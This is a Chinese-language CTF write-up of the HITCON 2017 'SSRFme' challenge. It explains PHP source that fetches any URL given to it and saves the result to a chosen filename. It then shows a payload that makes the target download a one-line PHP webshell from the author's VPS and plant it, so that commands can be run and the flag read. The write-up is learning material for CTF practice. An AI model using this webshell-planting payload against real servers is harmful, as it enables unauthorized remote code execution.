[HITCON 2017]SSRFme
一.前言
这学期快要结束了,各个学科的复习工作也要找时间做一做了。期末大作业,实验课大实验什么的属于是把我的时间安排的明明白白的了,这个月的产出是一定会出问题的。但愿寒假的时候可以找到一波时间把没学习的东西赶快补一波,趁着还没考考研的这段时间。
二.正文
老样子,咱们还是先来看一下这道题,没有前端只有源码。(懂得都懂
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
这源码是什么意思呢?就是你每次请求他都会把你的地址echo出来,然后他自己用你的IP地址和orange进行衔接并md5。然后基于这串md5生成一个目录/sandbox/{md5},并cd进去。最后这玩意会把你通过get请求到的数据存到你设定的filename中,当然你所设定的filename也会在/sandbox/{md5}这个目录下面。
有了这些信息,我们的一个想法就是通过get请求,让目标服务从我们的vps上面down下来一个一句话木马文件,然后咱们通过这个木马文件进行连接。
首先,要有一个shell.php
然后在VPS上面起一个服务(用python就行)。
然后我们向靶机发送如下payload
url={VPS}/shell.php&filename=fanxing/fanxing.php
请求成功的话你的VPS就会出现上面的200 OK的响应码。
接着我们用后台工具去连接/sandbox/{md5}/fanxing/fanxing.php
我们通过工具的虚拟shell功能进行命令执行,运行readflag就能拿到flag。
三.后记
总的来说这道题还是一道很简单的题目的,作为刚开始学习SSRF的我来说还是非常适合的。